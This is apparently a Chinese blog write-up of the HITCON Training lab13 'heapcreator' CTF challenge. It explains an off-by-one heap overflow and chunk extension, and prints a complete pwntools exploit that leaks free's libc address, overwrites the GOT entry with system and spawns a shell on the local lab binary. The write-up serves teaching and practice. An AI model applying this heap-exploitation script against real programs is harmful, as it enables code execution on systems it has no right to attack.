hitcon training lab13

Author Avatar
Xzhah 2月 27, 2019
  • 在其它设备中阅读本文章

HITCON TRAINING LAB13

ps:这题不用他提供的libc.6.so也能做,用LibcSearcher找就行了。

是堆的一个off by one漏洞和chunk extend,参考网上wp。这里主要记录一下自己的领悟和一些细节。

首先该程序功能有4:创建堆,编辑堆,删除堆,展示堆

1.png

1.创建堆

2.png

先malloc(0x10),8个字节存放内容长度,8个字节存放内容地址。

然后又会malloc(size),并且存进输入的内容。

2.编辑堆

3.png

可以发现向内容中多写了一个字节,所以存在off by one漏洞。

所以我们申请一个0x18字节的堆,那么就能覆盖下一个chunk的size了。

然后我们利用chunk extend就可以达到目的了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
#context.log_level = 'debug'
p=process('./heapcreator')
elf=ELF('./heapcreator')
libso=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def create(size,content):
p.recvuntil('choice :')
p.sendline('1')
p.recvuntil('Heap :')
p.sendline(str(size))
p.recvuntil('heap:')
p.sendline(content)
def edit(index,content):
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('heap :')
p.sendline(content)
def delete(index):
p.recvuntil('choice :')
p.sendline('4')
p.recvuntil('Index :')
p.sendline(str(index))
def show(index):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
create(24,'1111')
create(16,'2222')
create(16,'3333')
create(16,'/bin/sh\x00')
edit(0,'1'*24+'\x81') #低位的1表示pre_inuse,所以大小是0x80
delete(1)
#gdb.attach(p)
create(int(0x70),'2'*0x40+p64(8)+p64(elf.got['free']))
print hex(elf.got['free'])
show(2)
real_free_addr=u64(p.recvuntil('Done')[-11:-5].ljust(8,'\x00'))
libc=LibcSearcher('free',real_free_addr)
#real_sys_addr=real_free_addr+libso.symbols['system']-libso.symbols['free']
real_sys_addr=real_free_addr+libc.dump('system')-libc.dump('free')
print real_sys_addr
success('system address is'+str(hex(real_sys_addr)))
success('free address is'+str(hex(real_free_addr)))
edit(2,p64(real_sys_addr))
show(2)
print('ok')
#gdb.attach(p)
delete(3)
p.interactive()

总结和踩坑

再总结一下思路:

1.利用off by one漏洞改变1号chunk的size

2.利用chunk extend控制2号chunk内容,把其内容指针指向got表里的free,以此获得free的实际地址

3.利用libc中free和system的偏移+free的实际地址计算出system的实际地址,并且利用edit功能改写got表。

4.当got表free的实际地址指向system,我们只需要调用delete功能就能成功hack啦~

踩坑:

一开始得到free的实际地址时,多接收了一个字节。。。。debug了好久